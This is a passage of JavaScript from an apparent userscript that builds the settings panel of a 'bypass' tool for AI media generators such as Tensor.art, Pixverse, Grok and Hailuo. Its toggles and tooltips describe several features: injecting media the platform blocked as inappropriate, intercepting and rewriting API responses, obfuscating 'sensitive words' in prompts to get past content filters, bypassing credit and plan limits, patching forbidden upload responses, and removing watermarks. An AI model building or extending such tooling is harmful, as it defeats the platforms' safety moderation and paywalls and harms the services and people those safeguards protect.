startDomInjectionWatcher();
} else if (!settings.injectOnDom) {
stopDomInjectionWatcher();
}
updateUI();
}
if (checkbox.id === 'injectOnDom') {
updateUI();
}
};
coreSection.content.appendChild(container);
});
form.appendChild(coreSection.section);
const injectionSection = createCollapsibleSection('Injection Method', 'fa-code', true);
const injectionOptions = [
{ id: 'safeViewMode', label: 'Safe View Blocked Media', value: settings.safeViewMode, icon: 'fa-eye-slash', tooltip: 'Keep blocked covers and add a Bypass View button to reveal on demand (mutually exclusive with Inject On DOM)' },
{ id: 'injectOnDom', label: 'Inject On DOM', value: settings.injectOnDom, icon: 'fa-code', tooltip: 'Replace blocked media directly with bypassed content (mutually exclusive with Safe View)' },
{ id: 'injectBlockedOnly', label: 'Inject On Blocked Only', value: settings.injectBlockedOnly, icon: 'fa-filter', tooltip: 'When enabled, only tasks/cards with Inappropriate/Reviewing cover are injected. When disabled, Inject On DOM keeps current all-task behavior.' }
];
injectionOptions.forEach(option => {
const { row: container, input } = createSettingsToggleRow({
labelText: option.label,
icon: option.icon,
tooltip: option.tooltip,
checked: option.value,
fontSize: '14px',
textColor: colors.text
});
input.onchange = () => {
if (settings.xhrInterceptEnabled && input.checked && (option.id === 'injectOnDom' || option.id === 'safeViewMode')) {
input.checked = false;
showToast('Disable XHR Intercept first to use DOM/Safe View injection.', 'warning');
return;
}
settings[option.id] = input.checked;
if (option.id === 'injectOnDom' && input.checked) {
settings.safeViewMode = false;
}
if (option.id === 'safeViewMode' && input.checked) {
settings.injectOnDom = false;
}
saveSettings();
if (option.id === 'injectOnDom') {
if (settings.injectOnDom) {
startDomInjectionWatcher();
} else if (!settings.safeViewMode) {
stopDomInjectionWatcher();
}
}
if (option.id === 'safeViewMode') {
if (settings.safeViewMode) {
startDomInjectionWatcher();
} else if (!settings.injectOnDom) {
stopDomInjectionWatcher();
}
}
if (option.id === 'injectBlockedOnly') {
if (settings.injectOnDom || settings.safeViewMode) {
startDomInjectionWatcher();
}
}
injectBlockedMediaIntoDom();
updateUI();
};
injectionSection.content.appendChild(container);
});
form.appendChild(injectionSection.section);
const xhrSection = createCollapsibleSection('XHR Intercept (Powerful)', 'fa-bolt', true);
const xhrNote = document.createElement('div');
xhrNote.style.cssText = `
background: rgba(245, 158, 11, 0.10);
border: 1px solid rgba(245, 158, 11, 0.35);
border-radius: 10px;
padding: 10px;
font-size: 12px;
line-height: 1.5;
color: ${colors.textSecondary};
margin-bottom: 10px;
`;
xhrNote.innerHTML = '<strong style="color:#f59e0b"><i class="fas fa-triangle-exclamation"></i> High impact mode</strong><br>Supercharges the bypass by intercepting task feed responses and patching inaccessible items with your cached bypass URLs. Enabling this mode disables DOM/Safe View injection methods.';
xhrSection.content.appendChild(xhrNote);
const { row: xhrToggleRow, input: xhrToggleInput } = createSettingsToggleRow({
labelText: 'Enable XHR Intercept Mode',
icon: 'fa-bolt',
tooltip: 'When enabled, this mode rewrites tasks query request/response and turns off Inject On DOM + Safe View.',
checked: !!settings.xhrInterceptEnabled,
fontSize: '14px',
textColor: colors.text
});
xhrToggleInput.onchange = () => {
settings.xhrInterceptEnabled = xhrToggleInput.checked;
enforceXhrInterceptModeState();
saveSettings();
tensorInterceptLog('info', `XHR Intercept mode ${settings.xhrInterceptEnabled ? 'enabled' : 'disabled'}`, { source: 'settings' });
injectBlockedMediaIntoDom();
updateUI();
};
xhrSection.content.appendChild(xhrToggleRow);
const { row: xhrLogsToggleRow, input: xhrLogsToggleInput } = createSettingsToggleRow({
labelText: 'Enable Tensor intercept logs',
icon: 'fa-terminal',
tooltip: 'Write colorful Tensor intercept logs to the console and the Tensor XHR tab.',
checked: !!settings.tensorInterceptEnableUiLogs,
fontSize: '13px',
textColor: colors.text
});
xhrLogsToggleInput.onchange = () => {
settings.tensorInterceptEnableUiLogs = xhrLogsToggleInput.checked;
saveSettings();
tensorInterceptLog('info', `Tensor intercept logs ${settings.tensorInterceptEnableUiLogs ? 'enabled' : 'disabled'}`, { source: 'settings' });
updateUI();
};
xhrSection.content.appendChild(xhrLogsToggleRow);
const { row: xhrTelegramInjectRow, input: xhrTelegramInjectInput } = createSettingsToggleRow({
labelText: 'Implemet telegram injection',
icon: 'fab fa-telegram',
tooltip: 'Inject Telegram quick queue buttons into native Tensor task hover actions.',
checked: !!settings.tensorInjectTelegramButtons,
fontSize: '13px',
textColor: colors.text
});
xhrTelegramInjectInput.onchange = () => {
settings.tensorInjectTelegramButtons = xhrTelegramInjectInput.checked;
saveSettings();
tensorInterceptLog('info', `Tensor Telegram quick injection ${settings.tensorInjectTelegramButtons ? 'enabled' : 'disabled'}`, { source: 'settings' });
injectBlockedMediaIntoDom();
updateUI();
};
xhrSection.content.appendChild(xhrTelegramInjectRow);
const { row: xhrDiscordInjectRow, input: xhrDiscordInjectInput } = createSettingsToggleRow({
labelText: 'Implemnt discord inejction',
icon: 'fab fa-discord',
tooltip: 'Inject Discord quick queue buttons into native Tensor task hover actions.',
checked: !!settings.tensorInjectDiscordButtons,
fontSize: '13px',
textColor: colors.text
});
xhrDiscordInjectInput.onchange = () => {
settings.tensorInjectDiscordButtons = xhrDiscordInjectInput.checked;
saveSettings();
tensorInterceptLog('info', `Tensor Discord quick injection ${settings.tensorInjectDiscordButtons ? 'enabled' : 'disabled'}`, { source: 'settings' });
injectBlockedMediaIntoDom();
updateUI();
};
xhrSection.content.appendChild(xhrDiscordInjectRow);
// ── Auto Recheck Links On Load ─────────────────────────────────────────
const recheckInfoBox = document.createElement('div');
recheckInfoBox.style.cssText = `margin-top:12px; padding:10px 12px; border-radius:10px; border:1px solid rgba(34,197,94,0.28); background:rgba(34,197,94,0.07); color:${colors.textSecondary}; font-size:12px; line-height:1.5;`;
recheckInfoBox.innerHTML = '<span style="color:#86efac;font-weight:700;"><i class="fas fa-arrows-rotate"></i> Auto Recheck Links on Load</span><br>On every page load, silently checks all your saved bypass URLs in the background and refreshes any that are stale or expired — no need to open the panel.';
xhrSection.content.appendChild(recheckInfoBox);
const { row: recheckRow, input: recheckInput } = createSettingsToggleRow({
labelText: 'Auto Recheck links on load',
icon: 'fa-arrows-rotate',
tooltip: 'On every page load: checks all cached bypass URLs and refreshes any that are stale or expired (without needing to open the bypass panel).',
checked: !!settings.autoRecheckLinksOnLoad,
fontSize: '13px',
textColor: colors.text
});
recheckInput.onchange = () => {
settings.autoRecheckLinksOnLoad = recheckInput.checked;
saveSettings();
tensorInterceptLog('info', `Auto Recheck Links on Load ${settings.autoRecheckLinksOnLoad ? 'enabled' : 'disabled'}`, { source: 'settings' });
showToast(`Auto Recheck Links: ${settings.autoRecheckLinksOnLoad ? 'enabled — takes effect on next page load' : 'disabled'}`, 'info');
};
xhrSection.content.appendChild(recheckRow);
// ── Error Detection / Correction ──────────────────────────────────────
const errDetectInfoBox = document.createElement('div');
errDetectInfoBox.style.cssText = `margin-top:12px; padding:10px 12px; border-radius:10px; border:1px solid rgba(251,191,36,0.28); background:rgba(251,191,36,0.07); color:${colors.textSecondary}; font-size:12px; line-height:1.5;`;
errDetectInfoBox.innerHTML = '<span style="color:#fbbf24;font-weight:700;"><i class="fas fa-shield-exclamation"></i> Error Detection & Correction</span><br>Watches the page for broken task cards and injects a red <strong>"Fix"</strong> badge on each one. Clicking it automatically refreshes the bypass URL and updates the cache.';
xhrSection.content.appendChild(errDetectInfoBox);
const { row: errDetectRow, input: errDetectInput } = createSettingsToggleRow({
labelText: 'Error detection & correction',
icon: 'fa-shield-exclamation',
tooltip: 'Watch the DOM for task cards that still show forbidden/reviewing images and inject a "Fix" button to re-fetch and correct them.',
checked: !!settings.errorDetectionEnabled,
fontSize: '13px',
textColor: colors.text
});
errDetectInput.onchange = () => {
settings.errorDetectionEnabled = errDetectInput.checked;
saveSettings();
tensorInterceptLog('info', `Error Detection ${settings.errorDetectionEnabled ? 'enabled' : 'disabled'}`, { source: 'settings' });
if (settings.errorDetectionEnabled) {
startErrorDetectionLoop();
showToast('Error Detection enabled', 'success');
} else {
if (_errorDetectObserver) { _errorDetectObserver.disconnect(); _errorDetectObserver = null; }
showToast('Error Detection disabled', 'info');
}
};
xhrSection.content.appendChild(errDetectRow);
const xhrSmoothNote = document.createElement('div');
xhrSmoothNote.style.cssText = `margin-top:10px; padding:10px 12px; border-radius:10px; border:1px solid rgba(99, 102, 241, 0.28); background: rgba(99, 102, 241, 0.09); color:${colors.textSecondary}; font-size:12px; line-height:1.5;`;
xhrSmoothNote.innerHTML = '<span style="color:#c7d2fe; font-weight:700;"><i class="fas fa-sparkles"></i> Tensor note:</span> this feature is very powerfull and smoOth';
xhrSection.content.appendChild(xhrSmoothNote);
// ── Assign Library Link — coming soon note ──────────────────────────
const libAssignNote = document.createElement('div');
libAssignNote.style.cssText = `margin-top:12px; padding:10px 12px; border-radius:10px; border:1px solid rgba(16,185,129,0.28); background:rgba(16,185,129,0.07); color:${colors.textSecondary}; font-size:12px; line-height:1.6;`;
libAssignNote.innerHTML = `<span style="color:#6ee7b7;font-weight:700;"><i class="fas fa-bookmark"></i> Library Link Assign</span> <span style="background:rgba(16,185,129,0.18);color:#6ee7b7;font-size:10px;font-weight:700;padding:1px 7px;border-radius:20px;letter-spacing:.5px;">COMING NEXT UPDATE</span><br>` +
`Full library sync will automatically cache all your library media so items stay accessible long-term without re-fetching.<br>` +
`<span style="color:#a7f3d0;margin-top:4px;display:block;">🟢 The <b>add-to-library button</b> enhancement is <b>already active now</b> — hover any + button for a hint, and added items show a checkmark you can click to jump straight to your Library. Items you add this way are captured and cached automatically.</span>`;
xhrSection.content.appendChild(libAssignNote);
const xhrLogsMaxRow = document.createElement('div');
xhrLogsMaxRow.style.cssText = 'display:flex; align-items:center; justify-content:space-between; gap:10px; margin-top:10px;';
const xhrLogsMaxLabel = document.createElement('div');
xhrLogsMaxLabel.style.cssText = 'font-size:12px; color:' + colors.textSecondary + ';';
xhrLogsMaxLabel.textContent = 'Max Tensor intercept log entries';
const xhrLogsMaxInput = document.createElement('input');
xhrLogsMaxInput.type = 'number';
xhrLogsMaxInput.min = '50';
xhrLogsMaxInput.max = '5000';
xhrLogsMaxInput.step = '50';
xhrLogsMaxInput.value = String(Math.max(50, Number(settings.tensorInterceptMaxLogs) || 600));
xhrLogsMaxInput.style.cssText = `width: 120px; padding: 8px; border-radius: 8px; border: 1px solid ${colors.border}; background: ${colors.bgSecondary}; color: ${colors.text};`;
xhrLogsMaxInput.onchange = () => {
settings.tensorInterceptMaxLogs = Math.max(50, Math.min(5000, Number(xhrLogsMaxInput.value) || 600));
saveSettings();
tensorInterceptLog('info', 'Updated Tensor intercept log limit', { source: 'settings', max: settings.tensorInterceptMaxLogs });
};
xhrLogsMaxRow.appendChild(xhrLogsMaxLabel);
xhrLogsMaxRow.appendChild(xhrLogsMaxInput);
xhrSection.content.appendChild(xhrLogsMaxRow);
const xhrActionsRow = document.createElement('div');
xhrActionsRow.className = 'bypass-inline-actions';
xhrActionsRow.style.cssText = 'margin-top:10px;';
const openTensorLogsBtn = document.createElement('button');
openTensorLogsBtn.className = 'bypass-btn bypass-btn-secondary';
openTensorLogsBtn.style.cssText = 'width:auto; padding:8px 10px; font-size:11px;';
openTensorLogsBtn.innerHTML = '<i class="fas fa-wave-square"></i> Open Tensor Logs';
openTensorLogsBtn.onclick = () => {
currentTab = 'tensorInterceptBackground';
updateUI();
};
const copyTensorLogsBtn = document.createElement('button');
copyTensorLogsBtn.className = 'bypass-btn bypass-btn-primary';
copyTensorLogsBtn.style.cssText = 'width:auto; padding:8px 10px; font-size:11px;';
copyTensorLogsBtn.innerHTML = '<i class="fas fa-copy"></i> Copy Logs';
copyTensorLogsBtn.onclick = async () => {
try {
await copyTensorInterceptLogsToClipboard();
} catch {
showToast('Failed to copy Tensor intercept logs', 'error');
}
};
const exportTensorLogsBtn = document.createElement('button');
exportTensorLogsBtn.className = 'bypass-btn bypass-btn-primary';
exportTensorLogsBtn.style.cssText = 'width:auto; padding:8px 10px; font-size:11px;';
exportTensorLogsBtn.innerHTML = '<i class="fas fa-file-export"></i> Export Logs';
exportTensorLogsBtn.onclick = () => {
try {
exportTensorInterceptLogsToJson();
} catch {
showToast('Failed to export Tensor intercept logs', 'error');
}
};
const clearTensorLogsBtn = document.createElement('button');
clearTensorLogsBtn.className = 'bypass-btn bypass-btn-danger';
clearTensorLogsBtn.style.cssText = 'width:auto; padding:8px 10px; font-size:11px;';
clearTensorLogsBtn.innerHTML = '<i class="fas fa-trash"></i> Clear Logs';
clearTensorLogsBtn.onclick = () => {
clearTensorInterceptLogs();
showToast('Tensor intercept logs cleared', 'success');
refreshLiveLogPanelOrSchedule('tensorIntercept');
};
xhrActionsRow.appendChild(openTensorLogsBtn);
xhrActionsRow.appendChild(copyTensorLogsBtn);
xhrActionsRow.appendChild(exportTensorLogsBtn);
xhrActionsRow.appendChild(clearTensorLogsBtn);
xhrSection.content.appendChild(xhrActionsRow);
form.appendChild(xhrSection.section);
const devModeSection = createCollapsibleSection('Developer Mode', 'fa-user-gear', true);
const devNote = document.createElement('div');
devNote.style.cssText = `
background: rgba(239, 68, 68, 0.08);
border: 1px solid rgba(239, 68, 68, 0.25);
border-radius: 8px;
padding: 10px;
font-size: 12px;
line-height: 1.5;
color: ${colors.textSecondary};
margin-bottom: 10px;
`;
devNote.innerHTML = '<strong style="color:' + colors.error + '"><i class="fas fa-triangle-exclamation"></i> Warning</strong><br>Developer inject scripts can run arbitrary code on pages you visit. Only enable if you understand the risks.';
devModeSection.content.appendChild(devNote);
const { row: devToggleRow, input: devToggle } = createSettingsToggleRow({
labelText: 'Enable Developer Mode',
checked: !!settings.developerModeEnabled,
fontSize: '13px',
textColor: colors.text
});
devToggle.onchange = () => {
settings.developerModeEnabled = devToggle.checked;
if (!settings.developerModeEnabled) {
settings.developerEnableInjectSystem = false;
}
saveSettings();
if (settings.developerModeEnabled && settings.developerEnableInjectSystem) {
startDeveloperInjectSystem();
}
updateUI();
};
devModeSection.content.appendChild(devToggleRow);
const { row: injectToggleRow, input: injectToggle } = createSettingsToggleRow({
labelText: 'Enable Inject Tasks System',
checked: !!settings.developerEnableInjectSystem,
fontSize: '13px',
textColor: colors.text
});
injectToggleRow.style.marginTop = '8px';
injectToggle.disabled = !settings.developerModeEnabled;
injectToggle.onchange = () => {
settings.developerEnableInjectSystem = injectToggle.checked;
saveSettings();
if (settings.developerModeEnabled && settings.developerEnableInjectSystem) {
startDeveloperInjectSystem();
}
updateUI();
};
devModeSection.content.appendChild(injectToggleRow);
const logsRow = document.createElement('div');
logsRow.style.cssText = 'display:flex; align-items:center; justify-content:space-between; gap:10px; margin-top:12px;';
const logsLabel = document.createElement('div');
logsLabel.style.cssText = 'display:flex; flex-direction:column; gap:4px;';
logsLabel.innerHTML = '<div style="font-size:12px; font-weight:600; color:' + colors.text + '"><i class="fas fa-database"></i> Developer logs ring buffer</div><div style="font-size:11px; color:' + colors.textSecondary + '">Overwrite oldest entries when limit is reached.</div>';
const logsInput = document.createElement('input');
logsInput.type = 'number';
logsInput.min = '50';
logsInput.max = '5000';
logsInput.step = '50';
logsInput.value = String(Math.max(50, Number(settings.developerMaxLogs) || 500));
logsInput.style.cssText = `width: 120px; padding: 8px 10px; border-radius: 8px; border: 1px solid ${colors.border}; background: ${colors.bgSecondary}; color: ${colors.text}; font-size: 12px;`;
logsInput.onchange = () => {
const v = Math.max(50, Math.min(5000, Number(logsInput.value) || 500));
settings.developerMaxLogs = v;
saveSettings();
// Trim immediately if needed
addDeveloperLog({ ts: new Date().toISOString(), source: 'settings', message: `Developer log limit set to ${v}`, details: null, level: 'info', tag: 'developer' });
updateUI();
};
logsRow.appendChild(logsLabel);
logsRow.appendChild(logsInput);
devModeSection.content.appendChild(logsRow);
const devActions = document.createElement('div');
devActions.style.cssText = 'display:flex; gap:8px; flex-wrap:wrap; margin-top: 12px;';
const openLogsBtn = document.createElement('button');
openLogsBtn.className = 'bypass-btn bypass-btn-secondary';
openLogsBtn.style.cssText = 'flex:1; min-width:160px; font-size:11px; padding:8px;';
openLogsBtn.innerHTML = '<i class="fas fa-list"></i> Open Developer Logs';
openLogsBtn.onclick = () => {
currentTab = 'developers';
setDevelopersSubTab('logs');
updateUI();
};
const runInjectBtn = document.createElement('button');
runInjectBtn.className = 'bypass-btn bypass-btn-primary';
runInjectBtn.style.cssText = 'flex:1; min-width:160px; font-size:11px; padding:8px;';
runInjectBtn.innerHTML = '<i class="fas fa-play"></i> Run Inject Tasks Now';
runInjectBtn.onclick = () => {
if (!settings.developerModeEnabled || !settings.developerEnableInjectSystem) {
showToast('Enable Developer Mode + Inject System first', 'error');
return;
}
runDeveloperInjectTasksOnThisPage('manual:run-all', null);
showToast('Inject tasks executed (manual run)', 'success');
};
devActions.appendChild(openLogsBtn);
devActions.appendChild(runInjectBtn);
devModeSection.content.appendChild(devActions);
form.appendChild(devModeSection.section);
const uiSection = createCollapsibleSection('UI Settings', 'fa-sliders-h', true);
const uiOptions = [
{ id: 'inheritTheme', label: 'Inherit Page Theme', value: settings.inheritTheme, tooltip: 'Match the site color palette and background automatically' },
{ id: 'showAnnouncements', label: 'Show announcements popups', value: settings.showAnnouncements, tooltip: 'Disable to suppress non-required announcement modals/banners from remote config. Required announcements and required updates will still show.' },
{ id: 'showVideoModal', label: 'Enable Video Modal', value: settings.showVideoModal, tooltip: 'Open videos in the preview dialog (disabled by default)' },
{ id: 'showBypassedLink', label: 'Show bypassed link', value: settings.showBypassedLink, tooltip: 'Show the resolved bypass URL in modal details and injected media cards' },
{ id: 'showDetailedInfo', label: 'Show detailed item info', value: settings.showDetailedInfo, tooltip: 'Display rich metadata such as workflow/template and visual parameters' },
{ id: 'showBlockedTooltip', label: 'Show Blocked Media Tooltip', value: settings.showBlockedTooltip, tooltip: 'Show extra info when hovering blocked media (only on injected items)' },
{ id: 'showInjectedHelpTooltips', label: 'Injected Buttons Help Tooltip', value: settings.showInjectedHelpTooltips, tooltip: 'Show detailed hover tooltips on injected buttons when Inject On DOM is enabled' },
{ id: 'showDownloadPreview', label: 'Preview Current Download', value: settings.showDownloadPreview, tooltip: 'Show a live preview of the current download in the queue' }
];
if (settings.showBlockedTooltip) {
uiOptions.push({
id: 'showBlockedTooltipPreview',
label: 'View Media on Tooltip',
value: settings.showBlockedTooltipPreview,
tooltip: 'Show a small image/video preview inside the blocked media tooltip'
});
}
if (settings.showBlockedTooltip) {
uiOptions.push({
id: 'keepBlockedTooltipOpen',
label: 'Keep Last Tooltip Open',
value: settings.keepBlockedTooltipOpen,
tooltip: 'Keep the last blocked-media tooltip open until you scroll or hover another item'
});
}
uiOptions.forEach(option => {
const { row, input } = createSettingsToggleRow({
labelText: option.label,
tooltip: option.tooltip,
checked: option.value,
fontSize: '13px',
textColor: colors.text
});
input.onchange = () => {
settings[option.id] = input.checked;
saveSettings();
if (option.id === 'inheritTheme') {
injectStyles();
updateUI();
}
if (option.id === 'showBlockedTooltip' || option.id === 'showBlockedTooltipPreview' || option.id === 'keepBlockedTooltipOpen') {
updateUI();
injectBlockedMediaIntoDom();
}
if (option.id === 'showInjectedHelpTooltips') {
injectBlockedMediaIntoDom();
}
if (option.id === 'showDownloadPreview') {
updateGlobalActionProgressFromQueue();
}
};
uiSection.content.appendChild(row);
});
if (settings.showDetailedInfo) {
const fieldWrap = document.createElement('div');
fieldWrap.style.cssText = 'margin-top: 8px; padding: 8px; border: 1px dashed rgba(148,163,184,0.35); border-radius: 8px; display: grid; gap: 6px;';
const title = document.createElement('div');
title.style.cssText = 'font-size: 12px; color: #94a3b8; font-weight: 600;';
title.textContent = 'Detailed info fields';
fieldWrap.appendChild(title);
const detailFields = [
{ id: 'taskId', label: 'Task ID' },
{ id: 'dates', label: 'Created/Expires' },
{ id: 'size', label: 'Resolution' },
{ id: 'mimeType', label: 'MIME type' },
{ id: 'sourceUrl', label: 'Bypassed URL' },
{ id: 'workflow', label: 'Workflow/template info' },
{ id: 'visualParameters', label: 'Visual parameters' },
{ id: 'parameters', label: 'Raw parameters block' }
];
detailFields.forEach(field => {
const row = document.createElement('label');
row.style.cssText = 'display:flex; align-items:center; gap:8px; cursor:pointer; font-size:12px;';
const input = document.createElement('input');
input.type = 'checkbox';
input.className = 'bypass-checkbox';
input.checked = settings.detailedInfoFields?.[field.id] !== false;
input.onchange = () => {
settings.detailedInfoFields = settings.detailedInfoFields || {};
settings.detailedInfoFields[field.id] = input.checked;
saveSettings();
};
const txt = document.createElement('span');
txt.textContent = field.label;
row.appendChild(input);
row.appendChild(txt);
fieldWrap.appendChild(row);
});
uiSection.content.appendChild(fieldWrap);
}
form.appendChild(uiSection.section);
const otherPlatformsSection = createCollapsibleSection('Other Platforms', 'fa-globe', true);
const otherPlatformsNote = document.createElement('div');
otherPlatformsNote.style.cssText = `
background: rgba(99, 102, 241, 0.08);
border: 1px solid rgba(99, 102, 241, 0.25);
border-radius: 8px;
padding: 10px;
font-size: 12px;
line-height: 1.5;
color: ${colors.textSecondary};
margin-bottom: 10px;
`;
otherPlatformsNote.innerHTML = `<strong style="color:${colors.primary}"><i class="fas fa-display"></i> External platform UI gate</strong><br><code>showUIOnOtherPlatfrms = ${String(showUIOnOtherPlatfrms)}</code>. When this top-level script flag is <strong>false</strong>, Pixverse/Grok/Higgsfield/Hailuo background logic still runs and service logs still print in the console, but the bypass button and floating window stay hidden on those platforms.`;
otherPlatformsSection.content.appendChild(otherPlatformsNote);
const makeExternalMasterToggleRow = (id, labelText, tooltipText) => {
const { row, input } = createSettingsToggleRow({
labelText,
tooltip: tooltipText,
checked: !!settings[id],
fontSize: '13px',
textColor: colors.text
});
input.onchange = () => {
settings[id] = input.checked;
saveSettings();
updateUI();
};
return row;
};
const makeExternalToggleRow = (id, labelText, tooltipText) => {
const { row, input } = createSettingsToggleRow({
labelText,
tooltip: tooltipText,
checked: !!settings[id],
fontSize: '13px',
textColor: colors.text
});
input.onchange = () => {
settings[id] = input.checked;
saveSettings();
};
return row;
};
const makeExternalMaxLogsRow = (id, labelText, fallback = 500) => {
const row = document.createElement('div');
row.style.cssText = 'display:flex; align-items:center; justify-content:space-between; gap:10px; margin-top:10px;';
const label = document.createElement('div');
label.style.cssText = 'font-size:12px; color:' + colors.textSecondary + ';';
label.textContent = labelText;
const input = document.createElement('input');
input.type = 'number';
input.min = '50';
input.max = '3000';
input.step = '50';
input.value = String(Math.max(50, Number(settings[id]) || fallback));
input.style.cssText = `width: 110px; padding: 8px; border-radius: 8px; border: 1px solid ${colors.border}; background: ${colors.bgSecondary}; color: ${colors.text};`;
input.onchange = () => {
settings[id] = Math.max(50, Math.min(3000, Number(input.value) || fallback));
saveSettings();
};
row.appendChild(label);
row.appendChild(input);
return row;
};
const appendExternalSettingsCard = (title, icon, accentColor, builder) => {
const card = document.createElement('div');
card.style.cssText = `margin-top:10px; padding:12px; border-radius:10px; border:1px solid ${accentColor}; background: rgba(15, 23, 42, 0.35); display:grid; gap:8px;`;
const heading = document.createElement('div');
heading.style.cssText = `font-size:12px; font-weight:700; color:${accentColor};`;
heading.innerHTML = `<i class="fas ${icon}"></i> ${title}`;
card.appendChild(heading);
builder(card);
otherPlatformsSection.content.appendChild(card);
};
otherPlatformsSection.content.appendChild(makeExternalMasterToggleRow('showPixverseUi', 'Enable Pixverse', 'Show the bypass button and floating window on app.pixverse.ai when the top script flag allows external UI.'));
if (settings.showPixverseUi) {
appendExternalSettingsCard('Pixverse Controls', 'fa-wand-magic-sparkles', '#38bdf8', (card) => {
card.appendChild(makeExternalToggleRow('pixverseEnablePromptObfuscation', 'Enable prompt obfuscation', 'Adds lightweight obfuscation for configured sensitive words.'));
card.appendChild(makeExternalToggleRow('pixverseEnableCreditsBypass', 'Enable credits unlock bypass', 'Attempts to bypass credits/plan limits in Pixverse responses.'));
card.appendChild(makeExternalToggleRow('pixverseEnableUploadBypass', 'Enable upload bypass', 'Patches upload-related blocked/forbidden API responses.'));
card.appendChild(makeExternalToggleRow('pixverseEnableWatermarkButton', 'Enable watermark-free UI button', 'Adds/overrides the Remove Watermark button in Pixverse editor flows.'));
card.appendChild(makeExternalToggleRow('pixverseEnableUiLogs', 'Enable realtime UI logs', 'Show runtime logs in the Background tab.'));
card.appendChild(makeExternalToggleRow('pixverseCaptureMediaLinks', 'Capture bypassed media links', 'Store discovered image/video links in the Items tab cache.'));
card.appendChild(makeExternalMaxLogsRow('pixverseMaxLogs', 'Max Pixverse log entries', 500));
const wordsWrap = document.createElement('div');
wordsWrap.style.cssText = `margin-top:10px; border:1px dashed ${colors.border}; border-radius:10px; padding:10px; display:grid; gap:8px;`;
const wordsTitle = document.createElement('div');
wordsTitle.style.cssText = 'font-size:12px; font-weight:700; color:' + colors.text + ';';
wordsTitle.textContent = 'Sensitive Words';
wordsWrap.appendChild(wordsTitle);
const listWrap = document.createElement('div');
listWrap.style.cssText = 'display:grid; gap:6px;';
const currentWords = Array.isArray(settings.pixverseSensitiveWords) ? settings.pixverseSensitiveWords.slice() : [];
const renderWords = () => {
listWrap.innerHTML = '';
if (!currentWords.length) {
const empty = document.createElement('div');
empty.style.cssText = 'font-size:11px; color:' + colors.textSecondary + ';';
empty.textContent = 'No sensitive words configured.';
listWrap.appendChild(empty);
return;
}
currentWords.forEach((word, idx) => {
const row = document.createElement('div');
row.style.cssText = `display:flex; align-items:center; gap:8px; padding:6px 8px; border:1px solid ${colors.border}; border-radius:8px; background:${colors.bgSecondary};`;
const txt = document.createElement('div');
txt.style.cssText = 'flex:1; font-size:12px; color:' + colors.text + '; word-break:break-word;';
txt.textContent = word;
const removeBtn = document.createElement('button');
removeBtn.className = 'bypass-btn bypass-btn-danger';
removeBtn.style.cssText = 'width:auto; padding:4px 8px; font-size:10px;';
removeBtn.innerHTML = '<i class="fas fa-minus"></i>';
removeBtn.onclick = () => {
currentWords.splice(idx, 1);
settings.pixverseSensitiveWords = currentWords.slice();
saveSettings();
renderWords();
};
row.appendChild(txt);
row.appendChild(removeBtn);
listWrap.appendChild(row);
});
};
const addRow = document.createElement('div');
addRow.style.cssText = 'display:flex; gap:8px; align-items:center;';
const addInput = document.createElement('input');
addInput.type = 'text';
addInput.placeholder = 'Add new sensitive word';
addInput.style.cssText = `flex:1; padding:8px; border-radius:8px; border:1px solid ${colors.border}; background:${colors.bg}; color:${colors.text}; font-size:12px;`;
const addBtn = document.createElement('button');
addBtn.className = 'bypass-btn bypass-btn-primary';
addBtn.style.cssText = 'width:auto; padding:7px 10px; font-size:11px;';
addBtn.innerHTML = '<i class="fas fa-plus"></i>';
const doAddWord = () => {
const value = String(addInput.value || '').trim();
if (!value) return;
if (!currentWords.includes(value)) {
currentWords.push(value);
settings.pixverseSensitiveWords = currentWords.slice();
saveSettings();
renderWords();
}
addInput.value = '';
};
addBtn.onclick = doAddWord;
addInput.addEventListener('keydown', (e) => {
if (e.key === 'Enter') doAddWord();
});
addRow.appendChild(addInput);
addRow.appendChild(addBtn);
const rawEditorRow = document.createElement('div');
rawEditorRow.style.cssText = 'display:flex; justify-content:flex-end; margin-top:4px;';
const rawEditorBtn = document.createElement('button');
rawEditorBtn.className = 'bypass-btn bypass-btn-secondary';
rawEditorBtn.style.cssText = 'width:auto; padding:7px 10px; font-size:11px;';
rawEditorBtn.innerHTML = '<i class="fas fa-code"></i> Edit Raw Array';
rawEditorBtn.onclick = () => {
showCodeEditorDialog({
title: 'Pixverse sensitive words array',
description: 'Edit the raw JSON array used by Pixverse prompt obfuscation. Save with Ctrl/Cmd+S or the Save button.',
initialValue: JSON.stringify(currentWords, null, 2),
confirmLabel: 'Save Array',
downloadFilename: 'pixverse_sensitive_words.json',
validate: (text) => {
let parsed;
try {
parsed = JSON.parse(text);
} catch (err) {
throw new Error(`Invalid JSON: ${err?.message || err}`);
}
if (!Array.isArray(parsed)) throw new Error('Value must be a JSON array.');
return parsed.map(v => String(v || '').trim()).filter(Boolean);
}
}, (nextWords) => {
currentWords.splice(0, currentWords.length, ...nextWords);
settings.pixverseSensitiveWords = currentWords.slice();
saveSettings();
renderWords();
showToast('Updated Pixverse sensitive words array', 'success');
});
};
rawEditorRow.appendChild(rawEditorBtn);
wordsWrap.appendChild(addRow);
wordsWrap.appendChild(rawEditorRow);
wordsWrap.appendChild(listWrap);
card.appendChild(wordsWrap);
renderWords();
});
}
otherPlatformsSection.content.appendChild(makeExternalMasterToggleRow('showGrokUi', 'Enable Grok', 'Show the bypass button and floating window on grok.com / x.com when the top script flag allows external UI.'));
const grokWarning = document.createElement('div');
grokWarning.style.cssText = 'font-size:11px; color:#fbbf24; margin:2px 0 0 26px; line-height:1.4;';
grokWarning.innerHTML = '<i class="fas fa-triangle-exclamation"></i> Warning: this might not working reliably on Grok/X because response shapes can change often.';
otherPlatformsSection.content.appendChild(grokWarning);
if (settings.showGrokUi) {
appendExternalSettingsCard('Grok Controls', 'fa-shield-halved', '#38bdf8', (card) => {
card.appendChild(makeExternalToggleRow('grokInterceptorEnabled', 'Enable Grok network capture', 'Capture Grok/X API responses and extract media links for Items cache.'));
card.appendChild(makeExternalToggleRow('grokCaptureMediaLinks', 'Capture media links', 'Save discovered image/video URLs into the Grok Items list.'));
card.appendChild(makeExternalToggleRow('grokEnableUiLogs', 'Enable runtime logs', 'Show Grok network/runtime logs in the Background tab.'));
card.appendChild(makeExternalMaxLogsRow('grokMaxLogs', 'Max Grok log entries', 500));
});
}
otherPlatformsSection.content.appendChild(makeExternalMasterToggleRow('showHailuoUi', 'Enable HailuoAI', 'Show the bypass button and floating window on hailuoai.video / hailuoai.com when the top script flag allows external UI.'));
if (settings.showHailuoUi) {
appendExternalSettingsCard('Hailuo Controls', 'fa-bolt', '#22c55e', (card) => {
